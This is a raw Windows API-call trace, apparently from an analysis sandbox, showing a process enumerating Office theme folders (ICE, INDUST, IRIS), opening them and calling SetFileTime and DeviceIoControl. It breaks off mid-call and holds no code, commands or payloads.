[0058.264] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.264] GetLastError () returned 0x12 [0058.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f92e0) returned 1 [0058.265] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f91d8) returned 1 [0058.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.265] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0058.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.265] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0058.309] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fb3a8 [0058.309] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fb3a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fb3a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fb3a8) returned 1 [0058.310] NtClose (Handle=0x16c) returned 0x0 [0058.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.310] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0058.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0058.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0058.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0058.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.310] GetLastError () returned 0x12 [0058.310] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.310] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0058.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0058.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.311] GetLastError () returned 0x12 [0058.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.311] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.311] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0058.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0059.149] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fb3a8 [0059.155] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fb3a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fb3a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fb3a8) returned 1 [0059.157] NtClose (Handle=0x160) returned 0x0 [0059.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9e38 [0059.706] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.706] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.707] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9f40 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2d30 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fa048 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2d50 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fa150 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2d70 [0059.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fa258 [0059.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2d90 [0059.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fb3c0 [0059.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.708] GetLastError () returned 0x12 [0059.708] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.708] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.708] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.708] GetLastError () returned 0x12 [0059.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f9e38) returned 1 [0059.708] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f9f40) returned 1 [0059.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.709] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0059.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: 